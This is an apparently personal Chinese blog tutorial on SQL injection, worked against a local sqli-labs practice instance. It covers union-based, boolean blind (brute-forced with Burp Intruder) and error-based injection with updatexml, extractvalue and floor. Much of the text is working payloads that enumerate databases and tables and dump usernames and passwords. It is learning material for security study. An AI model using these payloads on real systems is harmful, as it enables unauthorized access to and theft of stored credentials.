SQL注入基础

4.1 SQL注入的基础

4.1.1.介绍SQL注入

​ SQL注入的指的是web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是我们唯一可控的,因此我们可以让参数代入数据库查询,我们可以通过传入不同的SQL语句实现对数据库的操作。

​ 一般情况下可对SQL语句进行选用,根据不同情况选择不同语句到达我们想要的效果。

4.1.2SQL注入原理

​ 原理为通过对于SQL语句的巧妙构造来让我们的语句注入本不能达到的后端代码中

4.1.3 union攻击的具体实现以及分析

​ 测试地址 127.0.0.1/sql/Less-1/?id=1 首先分析一下,我们输入的是id=1,应该是把数据正常的从SQL语句里输入进去了,接下来我们要按照步骤一步一步尝试

(1)判断此处的SQL语句是通过何种方式读入参数的,例如例句
select*from admin where username ='用户输入的用户名' and password ='用户输入的密码'

正常情况下输入应该是用户名1,密码123,但是我们如果输入1加上一点特殊符号,就可以帮我们判断SQL读入参数时用的是’'还是""还是 ()

以这题为例,输入id=1’后,报错,报错是好事啊,因为我们输入进去的’把它用来读入的一组**’‘给闭合了,多出来一个,所以它不知道怎么办,才会报错。如果它用()""来读入,那么我们输入的就应该被当成参数输入而不报错。同时这也告诉我们可以在输入的’**后面植入SQL语句执行

ps:可以用id=1 and 1=1 或者id =1 and 1=2来判断有无注入点(数字型)

(2)学会使用注释

在SQL中我们可以用–+把语句注释掉,让它成为不被编译执行的注释例如

select*from admin where username ='-1' or 1=1 --+' and password ='用户输入的密码'

这样引发闭合的单引号就被注销掉了,剩下的一个**'**使得后面的语句可以被读入

(3) 判断字段数

union有一个严格的约束条件,必须保证字段数一致,即两个查询结果要有相同的列数,因此我们要对字段数进行判断,使用order by numberid=1’ order by 1–+ 一直加到报错为止,就可以判断字段数

(4)判断回显点

当我们知道表的字段数之后,需要确定在哪个字段会输出有效的信息,首先使用到的是union select,因为有三组,使用后面拼接数字1,2,3,同时加入limit 1, 1(作用是从第1行开始显示1行的内容)

id=1' union select 1,2,3 limit 1,1 --+

之后可以看见2,3被输出,说明两个位置都可以成为回显点。

将2,3换成version()与user()可以查询MySQL的版本以及当前账号。

(5)爆库名

用database()替换回显点,显示当前库名

也可以使用group_concat() 将所有内容写入一行并输出

id=-1' union select 1,database(),3 --+
(5)爆表名
id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

payload:information_schema是mysql自带的库,记录了该数据库所有的表名和字段名

这句话的意思是查找数据库security库下的所有表名

(6)爆字段名
id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

同理从库中寻找下表’users’中所有字段

(7)报数据

最后查询users表中字段username与password的所有信息

id=-1' union select 1,group_concat(username,0x5c,password),3 from security.users --+

0x5c是\的十六进制编码,0x3c是:的十六进制编码

差不多了

2021/4/25 0:51

(8)补充

以上是字符型注入的注入方法,数字型注入不太适用,如果在注入时id=1’没有什么用,就用id=1 and 1=1然后id=1 and 1=2,可以用来判断数字型,数字型的特点是用假的值来使SQL语句执行

判断字符型或者数字型的方法(举例,并不完全)

1.less-1中id=1’报错是’‘1’’ LIMIT 0,1’,去掉已经闭合的部分就是1’’ LIMIT 0,1 看出来1处有两个引号,其中有一个是我们输入的另一个是代码用来闭合的,则闭合方式是**’**,SQL语句为

select login_name,password from admin where id='id' limit 0,1

2.less-2中**id=1’**报错是 ‘’ LIMIT 0,1’,去掉已经闭合的部分就是 ’ LIMIT 0,1 可以推出SQL语句为

select login_name,password from admin where id=id limit 0,1

3.less-3中id=1’报错是’‘1’’) LIMIT 0,1’,去掉闭合部分就是**‘1’’) LIMIT 0,1**,可以推出SQL语句为

select login_name,password from admin where id=('id') limit 0,1

以此类推。。。

4.1.4 Boolean型注入
(1)Boolean注入攻击语句

判断数据库库名长度:

and length(database())>=1

判断数据库库名:

and substr(database(),1,1)='t'

判断表名:

and substr((select table_name from information_schema.tables where table_schema='database()' limit 0,1),1,1)='u'

判断字段名:

and substr((select column_name from information_schema.columns where table_shema='database()' and table_name='表名'limit 0,1),1,1)='i'

判断数据:

and substr((select 列名 from database().表名 limit 0,1),1,1)='z'

Boolean型注入正确的时候回应Yes,错误的时候回应No

(2)Boolean型用Burp爆破

首先是burp的使用,intercept is on/off 代表开/关抓包

依拙见,Boolean型是对于库名/库名长度/表名/字段名/数据 这种单字符的判断,根据返回的结果(Yes/No)判断是否是这个字母。说白了就是一个字一个字的判断,最后拼出一串字符。

先让burp抓包,在proxy界面显示拦截到的请求,全选发送给intruder,选择集束炸弹模式,打个比方我们想判断库名,在之前注入的前提下输入:

and substr(database(),1,1)='t'

这个语句是假设第一个字符是t,实际爆破的时候在第一个1,以及t前加上符号,因为不知道一共几个,也不知道字母到底是啥

在这里插入图片描述

变为

在这里插入图片描述

之后选择载荷(payload),选择simple listpayload1输入1,2,3,4,5,6,7,8(因为一共8个,用and length(database())>=1一个一个试出来)

之后选择字母顺序,继续simple listpayload2,选择添加a-z,进行爆破

(3)如何查看爆破结果

根据条件1和2进行对比,比如1对于的字母显示的长度与其他的不一样,那么第一个字母应该就是对应该是这个字母s

在这里插入图片描述

(可以看见145项的长度为909,和其他不一样)依次类推找到其他的正确名字。

4.1.5报错注入
(1)报错注入的基础和应用场景

首先我们了解一下什么叫显示位置,在一个在一个网站的正常页面,服务端执行SQL语句查询数据库中的数据,客户端将数 据展示在页面中,这个展示数据的位置就叫显示位 。

在这里插入图片描述

(这样的就没有显示位,不显示查询内容)

(2)updatexml方法

先查询数据库的版本信息

?id=1' and updatexml(1,concat(0x7e,(select version()),0x7e),1) --+

再查询当前登录用户信息

?id=1' and updatexml(1,concat(0x7e,(user()),0x7e),1) --+

查询当前所处的数据库

?id=1' and updatexml(1,concat(0x7e (database()),0x7e),1) --+

查询表名

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+

查询users表中的字段

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)--+

查询用户名密码(注意,每次只能显示一行,所以配合limit使用)

?id=1' and updatexml(1,concat(0x7e,( select concat_ws('%23',id,username,password) from users limit 0,1),0x7e),1)--+

通过改变limit 0,1里的第一个参数来输出下一个用户信息

(updatexml的语句是对称的,方便记忆)

(3)extractvalue方法

使用方法和updatexml大同小异

语句固定格式

?id=1' and extractvalue(1, concat(0x5c, (select ******))) --+

查询用户信息

?id=1' and extractvalue(1, concat(0x5c, (select concat_ws('%23',id,username,password) from users limit 0,1))) --+

(3)floor方法

使用方法和updatexml大同小异

语句固定格式

?id=1' and (select 1 from (select count(),concat((***), floor(rand(0)2))x from information_schema.columns group by x)a) --+

查询用户信息

?id=1' and (select 1 from (select count(),concat((select concat_ws('%23',id,username,password) from users limit 0,1), floor(rand(0)2))x from information_schema.columns group by x)a) --+

(4)总结

报错注入在大体上其实与Boolean注入类似,在没有验证码的情况下,可以尝试使用Boolean型抓包爆破,但是当存在验证码的情况,不能爆破,就使用报错注入。上面三个函数最好都会使用,因为有些网站会存在关键字屏蔽的问题,在实际注入的时候可能会选择不同的方法尝试。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值